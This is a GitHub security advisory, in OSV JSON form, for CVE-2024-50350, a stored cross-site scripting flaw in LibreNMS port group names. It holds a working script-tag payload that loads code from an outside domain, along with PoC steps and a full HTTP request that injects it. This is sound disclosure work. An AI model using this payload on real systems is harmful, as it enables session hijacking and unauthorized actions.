CVE-2024-50350: Librenms/librenms Cross-Site Scripting Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-xh4g-c9p6-5jxg",
  "modified" : "2024-11-15T20:49:50Z",
  "published" : "2024-11-15T15:30:05Z",
  "aliases" : [ "CVE-2024-50350" ],
  "summary" : "LibreNMS has a Stored XSS ('Cross-site Scripting') in librenms/app/Http/Controllers/Table/EditPortsController.php",
  "details" : "### Summary\nA Stored Cross-Site Scripting (XSS) vulnerability in the \"Port Settings\" page allows authenticated users to inject arbitrary JavaScript through the \"name\" parameter when creating a new Port Group. This vulnerability results in the execution of malicious code when the \"Port Settings\" page is visited after the affected Port Group is added to a device, potentially compromising user sessions and allowing unauthorized actions.\n\n### Details\nWhen creating a new \"Port Group,\" an attacker can inject the following XSS payload into the \"name\" parameter:\n```<script/src=//15.rs></script>```\n\nNote: The payload uses the \"15.rs\" domain to bypass some of the length restrictions found during research by pointing to a malicious remote file. The file contains a POC XSS payload, and can contain any arbitrary JS code.\n\nThe payload triggers when the affected Port Group is added to a device and the \"Port Settings\" page is reloaded. The vulnerability is due to insufficient sanitization of the \"name\" parameter. The sink responsible for this issue is:\nhttps://github.com/librenms/librenms/blob/7f2ae971c4a565b0d7345fa78b4211409f96800a/app/Http/Controllers/Table/EditPortsController.php#L69\n\n### PoC\n1. Create a new Port Group using the following payload in the \"name\" parameter:\n```name<script/src=//15.rs></script>```\n2. Add the Port Group to a device's port settings.\n3. Reload the \"Port Settings\" page.\n4. Observe that the injected script executes.\n\nExample Request:\n```http\nPOST /port-groups HTTP/1.1\nHost: <your_host>\nContent-Type: application/x-www-form-urlencoded\nCookie: <your_cookie>\n\n_token=<your_token>&name=name<script/src=//15.rs></script>&desc=descr<script/src=//15.rs></script>\n```\n\n### Impact\n\nThis vulnerability allows authenticated users to inject and execute arbitrary JavaScript in the context of other users' sessions when they visit the \"Port Settings\" page of a device. This could result in the compromise of user accounts and unauthorized actions performed on their behalf.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "librenms/librenms"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "24.10.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 24.9.1"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/librenms/librenms/security/advisories/GHSA-xh4g-c9p6-5jxg"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2024-50350"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/librenms/librenms/commit/82a744bfe29017b8b58b5752ab9e1b335bedf0a0"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/librenms/librenms"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-79" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2024-11-15T15:30:05Z",
    "nvd_published_at" : "2024-11-15T16:15:35Z"
  }
}